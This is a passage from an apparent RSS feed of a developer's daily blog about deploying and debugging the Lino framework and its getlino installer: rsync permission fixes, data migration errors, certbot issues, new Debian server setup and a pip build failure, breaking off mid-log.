&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;rsync&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;send_files&lt;/span&gt; &lt;span class="n"&gt;failed&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="nb"&gt;open&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;.../media/uploads/2019/06/....jpg&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Permission&lt;/span&gt; &lt;span class="n"&gt;denied&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;13&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;sent&lt;/span&gt; &lt;span class="mi"&gt;52&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;279&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;  &lt;span class="n"&gt;received&lt;/span&gt; &lt;span class="mi"&gt;669&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;458&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;491&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;  &lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;510&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mf"&gt;376.71&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;sec&lt;/span&gt;
&lt;span class="n"&gt;total&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="mi"&gt;698&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;343&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;313&lt;/span&gt;  &lt;span class="n"&gt;speedup&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="mf"&gt;1.04&lt;/span&gt;
&lt;span class="n"&gt;rsync&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;some&lt;/span&gt; &lt;span class="n"&gt;files&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;attrs&lt;/span&gt; &lt;span class="n"&gt;were&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;transferred&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;see&lt;/span&gt; &lt;span class="n"&gt;previous&lt;/span&gt; &lt;span class="n"&gt;errors&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="mi"&gt;23&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="n"&gt;at&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1677&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;generator&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mf"&gt;3.1.3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I fixed this by changing the file permissions on the old server:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;sudo find ! -perm /g=r -exec chmod g+r &amp;#39;{}&amp;#39; +
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Noted that each rsync run asks for my password. I guess this is because
ssh-agent is not installed.&lt;/p&gt;
&lt;p&gt;En passant I found and fixed another bug in &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/index.html#getlino" title="(in getlino docs)"&gt;&lt;span&gt;getlino : the Lino installer&lt;/span&gt;&lt;/a&gt;: When running as
root, &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#command-getlino-configure" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;configure&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; now also creates empty directories for
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--log-base&lt;/span&gt;&lt;/code&gt; and &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#cmdoption-getlino-configure-backups-base" title="(in getlino docs)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;--backups-base&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and sets their permissions.&lt;/p&gt;
&lt;p&gt;Oops, the &lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/dump2py.html#xfile-restore.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;restore.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; script got killed. One file,
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;cal_guest_1.py&lt;/span&gt;&lt;/code&gt; (3.7 MB), passed without problems, but
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;changes_change_1.py&lt;/span&gt;&lt;/code&gt; is obviously too big: 11 MB. Bot files contain 50004
lines (this number comes from the &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--max-row-count&lt;/span&gt;&lt;/code&gt; option of
&lt;a class="reference external" href="https://dev.lino-framework.org/ref/commands/dump2py.html#command-pm-dump2py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pm&lt;/span&gt; &lt;span class="pre"&gt;dump2py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;). So I set &lt;cite&gt;–max-row-count`&lt;/cite&gt; to 10000 on the production
server, make a new snapshot and then run &lt;a class="reference external" href="https://hosting.lino-framework.org/mirror/#xfile-initdb_from_prod.sh" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;initdb_from_prod.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; again.&lt;/p&gt;
&lt;p&gt;And of course I need to do some manual changes for data migration, for example:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ne"&gt;TypeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;Comment&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="n"&gt;got&lt;/span&gt; &lt;span class="n"&gt;an&lt;/span&gt; &lt;span class="n"&gt;unexpected&lt;/span&gt; &lt;span class="n"&gt;keyword&lt;/span&gt; &lt;span class="n"&gt;argument&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;body_preview&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;One question is where to store these changes. I cannot use the mirrored
&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;restory.py&lt;/span&gt;&lt;/code&gt; file because it would be overwritten next time.  change in
make_snapshot.sh : don’t delete the snapshot directory, just run dump2py with
–overwrite option.&lt;/p&gt;
&lt;p&gt;Last problem for the migration was:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;- cal.Event Unresolved value &amp;#39;pisa&amp;#39; (&amp;lt;class &amp;#39;str&amp;#39;&amp;gt;) for printing.BuildMethods (set Site.strict_choicelist_values to False to ignore this) (144 object(s) with primary key 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 305, 306, 307, 308, 309, 310, 311, 312, 313, 666, 667, 668, 669, 670, 671, 672, 673, 674, 675, 676, 677, 751, 752, 753, 754, 755, 757, 758, 759, 760, 762, 768, 769, 770, 771, 772, 773, 774, 775, 776, 777, 778, 779, 780, 781, 782, 783, 784, 785, 791, 792, 793, 794, 795, 796, 797, 798, 799, 800, 879, 880, 886, 887, 888, 889, 900, 901, 902, 903, 904, 905, 906, 907, 913, 914, 915, 916, 917, 918, 919, 920, 921, 922, 923, 924, 925, 926, 927, 928, 929, 930, 931, 932, 933, 934, 935, 936, 937, 938, 939, 940, 941, 942, 943, 944, 945, 946, 947, 948, 949, 950, 951, 952, 953, 954, 955, 956, 957, 958, 959, 960, 961, 962, 963)
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;First problem after migration:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="ne"&gt;TypeError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;gt;&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;supported&lt;/span&gt; &lt;span class="n"&gt;between&lt;/span&gt; &lt;span class="n"&gt;instances&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;NoneType&amp;#39;&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;str&amp;#39;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;This was a bug in &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/cv.html#lino_xl.lib.cv.LanguageKnowledge" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.cv.LanguageKnowledge&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; which happened only
when CEF Level was empty.&lt;/p&gt;
&lt;p&gt;Released XL 19.9.2.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0914.html</guid><pubDate>Sat, 14 Sep 2019 00:00:00 +0000</pubDate></item><item><title>Friday, September 13, 2019</title><link>https://luc.lino-framework.org/blog/2019/0913.html</link><description>&lt;section id="friday-september-13-2019"&gt;
&lt;h1&gt;Friday, September 13, 2019&lt;a class="headerlink" href="#friday-september-13-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="using-getlino-to-install-the-next-avanti-lino"&gt;
&lt;h2&gt;Using getlino to install the next Avanti Lino&lt;a class="headerlink" href="#using-getlino-to-install-the-next-avanti-lino" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I continued to install &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#avanti" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Avanti&lt;/span&gt;&lt;/a&gt; on their new server.&lt;/p&gt;
&lt;p&gt;For this I had to release XL (Exception: lino_xl.lib.cv has no attribute
with_language_history).&lt;/p&gt;
&lt;/section&gt;
&lt;section id="some-problems-in-getlino"&gt;
&lt;h2&gt;Some problems in getlino&lt;a class="headerlink" href="#some-problems-in-getlino" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I noticed that &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/startsite.html#command-getlino-startsite" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;startsite&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; failed to create the &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/misc.html#xfile-pull.sh" title="(in getlino docs)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;pull.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; script.&lt;/p&gt;
&lt;p&gt;I opened &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3199"&gt;#3199&lt;/a&gt; because I observed some issues with &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/startsite.html#command-getlino-startsite" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt;
&lt;span class="pre"&gt;startsite&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/startsite.html#command-getlino-startsite" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;startsite&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; did not create the
&lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/misc.html#xfile-pull.sh" title="(in getlino docs)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;pull.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and &lt;a class="reference external" href="https://hosting.lino-framework.org/snapshot/#xfile-make_snapshot.sh" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;make_snapshot.sh&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; scripts.
Several commits to &lt;cite&gt;cookiecutter-startsite&lt;/cite&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;What to do when &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/startsite.html#command-getlino-startsite" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;startsite&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; successfully creates the database user
and then fails for some reason? I can simply overwrite the existing site by
running &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/startsite.html#command-getlino-startsite" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;startsite&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; again, but mysql or pgsql will fail to create
the new user of same name.&lt;/p&gt;
&lt;p&gt;The easiest workaround is to manually delete both the user and the database
before running  &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/startsite.html#command-getlino-startsite" title="(in getlino docs)"&gt;&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;startsite&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; a second time.
I reviewed the &lt;a class="reference external" href="https://hosting.lino-framework.org/mysql_install/#mysql-cheat-sheet" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;MySQL cheat sheet&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;section id="installing-certbot"&gt;
&lt;h2&gt;Installing certbot&lt;a class="headerlink" href="#installing-certbot" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Oops, when using &lt;a class="reference external" href="https://lino-framework.gitlab.io/getlino/ref/configure.html#cmdoption-getlino-configure-https" title="(in getlino docs)"&gt;&lt;code class="xref std std-option docutils literal notranslate"&gt;&lt;span class="pre"&gt;getlino&lt;/span&gt; &lt;span class="pre"&gt;configure&lt;/span&gt; &lt;span class="pre"&gt;--https&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, it installs certbot, but I
get an error message:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;Installation&lt;/span&gt; &lt;span class="n"&gt;succeeded&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;Saving&lt;/span&gt; &lt;span class="n"&gt;debug&lt;/span&gt; &lt;span class="n"&gt;log&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;var&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;letsencrypt&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;letsencrypt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;log&lt;/span&gt;
&lt;span class="n"&gt;Missing&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt; &lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;For&lt;/span&gt; &lt;span class="n"&gt;non&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;interactive&lt;/span&gt; &lt;span class="n"&gt;execution&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;you&lt;/span&gt; &lt;span class="n"&gt;will&lt;/span&gt; &lt;span class="n"&gt;need&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;specify&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="n"&gt;plugin&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;command&lt;/span&gt; &lt;span class="n"&gt;line&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;  &lt;span class="n"&gt;Run&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;--help plugins&amp;#39;&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;see&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="n"&gt;options&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;see&lt;/span&gt; &lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;eff&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;org&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;letsencrypt&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;plugins&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;more&lt;/span&gt; &lt;span class="n"&gt;detail&lt;/span&gt; &lt;span class="n"&gt;on&lt;/span&gt; &lt;span class="n"&gt;what&lt;/span&gt; &lt;span class="n"&gt;the&lt;/span&gt; &lt;span class="n"&gt;plugins&lt;/span&gt; &lt;span class="n"&gt;do&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;how&lt;/span&gt; &lt;span class="n"&gt;to&lt;/span&gt; &lt;span class="n"&gt;use&lt;/span&gt; &lt;span class="n"&gt;them&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="n"&gt;Error&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;certbot&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;auto&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;n&lt;/span&gt; &lt;span class="n"&gt;ended&lt;/span&gt; &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;code&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Indeed, when I manually run &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;certbot-auto&lt;/span&gt; &lt;span class="pre"&gt;-n&lt;/span&gt;&lt;/code&gt; I get the same error message.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="miscellaneous"&gt;
&lt;h2&gt;Miscellaneous&lt;a class="headerlink" href="#miscellaneous" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The &lt;cite&gt;timtools&lt;/cite&gt; project is not yet converted to Python 3. I don’t plan do convert
it now because that might cause some work, and until now there is no reason to
do it. But the &lt;a class="reference external" href="https://dev.lino-framework.org/dev/setup.html#xfile-setup.py" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;setup.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; in that project  caused problems when building
my blog under Python 3.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="cannot-use-vat-regime-for-partner-without-vat-id"&gt;
&lt;h2&gt;Cannot use VAT regime {} for partner without VAT id&lt;a class="headerlink" href="#cannot-use-vat-regime-for-partner-without-vat-id" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3183"&gt;#3183&lt;/a&gt;. : When entering the &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/contacts.html#lino_xl.lib.contacts.Partner.vat_regime" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;vat_regime&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; of a provider or customer with empty
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/contacts.html#lino_xl.lib.contacts.Partner.vat_id" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;vat_id&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;, Lino did not show regimes
having &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/vat.html#lino_xl.lib.vat.VatRegime.needs_vat_id" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;needs_vat_id&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; set. This
was irritating because users who didn’t know about this subtle rule had no
chance to understand why. Lino now shows these regimes also when there is no VAT
id, but complains &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;Cannot&lt;/span&gt; &lt;span class="pre"&gt;use&lt;/span&gt; &lt;span class="pre"&gt;VAT&lt;/span&gt; &lt;span class="pre"&gt;regime&lt;/span&gt; &lt;span class="pre"&gt;X&lt;/span&gt; &lt;span class="pre"&gt;for&lt;/span&gt; &lt;span class="pre"&gt;partner&lt;/span&gt; &lt;span class="pre"&gt;without&lt;/span&gt; &lt;span class="pre"&gt;VAT&lt;/span&gt; &lt;span class="pre"&gt;id&lt;/span&gt;&lt;/code&gt;
when you try to save a document for that regime and that partner.&lt;/p&gt;
&lt;p&gt;I pushed these changes without waiting the results of my local test run.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2019/0913.html</guid><pubDate>Fri, 13 Sep 2019 00:00:00 +0000</pubDate></item><item><title>Thursday, September 12, 2019</title><link>https://luc.lino-framework.org/blog/2019/0912.html</link><description>&lt;section id="thursday-september-12-2019"&gt;
&lt;h1&gt;Thursday, September 12, 2019&lt;a class="headerlink" href="#thursday-september-12-2019" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;They installed a new virgin Debian server, with my public ssh key in root’s
authorized_keys. I sign in as root via ssh and then it is routine:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="c1"&gt;# apt install sudo&lt;/span&gt;
&lt;span class="c1"&gt;# adduser luc&lt;/span&gt;
&lt;span class="c1"&gt;# adduser luc sudo&lt;/span&gt;
&lt;span class="c1"&gt;# adduser luc www-data&lt;/span&gt;
&lt;span class="c1"&gt;# cp -a .ssh /home/luc/&lt;/span&gt;
&lt;span class="c1"&gt;# chown -R luc:luc /home/luc/.ssh/&lt;/span&gt;
&lt;span class="c1"&gt;# sudo apt-get install -y python3-pip&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And then followed the instructions for &lt;a class="reference external" href="https://hosting.lino-framework.org/install/#getlino-install-prod" title="(in Lino Hosting Guide)"&gt;&lt;span&gt;Set up a Lino production server&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;section id="command-x86-64-linux-gnu-gcc-failed-with-exit-status-1"&gt;
&lt;h2&gt;command ‘x86_64-linux-gnu-gcc’ failed with exit status 1&lt;a class="headerlink" href="#command-x86-64-linux-gnu-gcc-failed-with-exit-status-1" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Oops:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ pip install regex
Collecting regex
  Downloading https://files.pythonhosted.org/packages/6f/a6/99eeb5904ab763db87af4bd71d9b1dfdd9792681240657a4c0a599c10a81/regex-2019.08.19.tar.gz (654kB)
     |████████████████████████████████| 655kB 2.6MB/s
Building wheels for collected packages: regex
  Building wheel for regex (setup.py) ... error
  ERROR: Command errored out with exit status 1:
   command: /usr/local/lino/lino_local/mdga/env/bin/python3 -u -c &amp;#39;import sys, setuptools, tokenize; sys.argv[0] = &amp;#39;&amp;quot;&amp;#39;&amp;quot;&amp;#39;/tmp/pip-install-o_hz_4wl/regex/setup.py&amp;#39;&amp;quot;&amp;#39;&amp;quot;&amp;#39;; __file__=&amp;#39;&amp;quot;&amp;#39;&amp;quot;&amp;#39;/tmp/pip-install-o_hz_4wl/regex/setup.py&amp;#39;&amp;quot;&amp;#39;&amp;quot;&amp;#39;;f=getattr(tokenize, &amp;#39;&amp;quot;&amp;#39;&amp;quot;&amp;#39;open&amp;#39;&amp;quot;&amp;#39;&amp;quot;&amp;#39;, open)(__file__);code=f.read().replace(&amp;#39;&amp;quot;&amp;#39;&amp;quot;&amp;#39;\r\n&amp;#39;&amp;quot;&amp;#39;&amp;quot;&amp;#39;, &amp;#39;&amp;quot;&amp;#39;&amp;quot;&amp;#39;\n&amp;#39;&amp;quot;&amp;#39;&amp;quot;&amp;#39;);f.close();exec(compile(code, __file__, &amp;#39;&amp;quot;&amp;#39;&amp;quot;&amp;#39;exec&amp;#39;&amp;quot;&amp;#39;&amp;quot;&amp;#39;))&amp;#39; bdist_wheel -d /tmp/pip-wheel-6_s6vd0z --python-tag cp37
       cwd: /tmp/pip-install-o_hz_4wl/regex/
  Complete output (22 lines):
  BASE_DIR is /tmp/pip-install-o_hz_4wl/regex
  /usr/local/lino/lino_local/mdga/env/lib/python3.7/site-packages/setuptools/dist.py:474: UserWarning: Normalizing &amp;#39;2019.08.19&amp;#39; to &amp;#39;2019.8.19&amp;#39;
    normalized_version,
  running bdist_wheel
  running build
  running build_py
  creating build
  creating build/lib.linux-x86_64-3.7
  creating build/lib.linux-x86_64-3.7/regex
  copying regex_3/regex/__init__.py -&amp;gt; build/lib.linux-x86_64-3.7/regex
  copying regex_3/regex/regex.py -&amp;gt; build/lib.linux-x86_64-3.7/regex
  copying regex_3/regex/_regex_core.py -&amp;gt; build/lib.linux-x86_64-3.7/regex
  creating build/lib.linux-x86_64-3.7/regex/test
  copying regex_3/regex/test/__init__.py -&amp;gt; build/lib.linux-x86_64-3.7/regex/test
  copying regex_3/regex/test/test_regex.py -&amp;gt; build/lib.linux-x86_64-3.7/regex/test
  running build_ext
  building &amp;#39;regex._regex&amp;#39; extension
  creating build/temp.linux-x86_64-3.7
  creating build/temp.linux-x86_64-3.7/regex_3
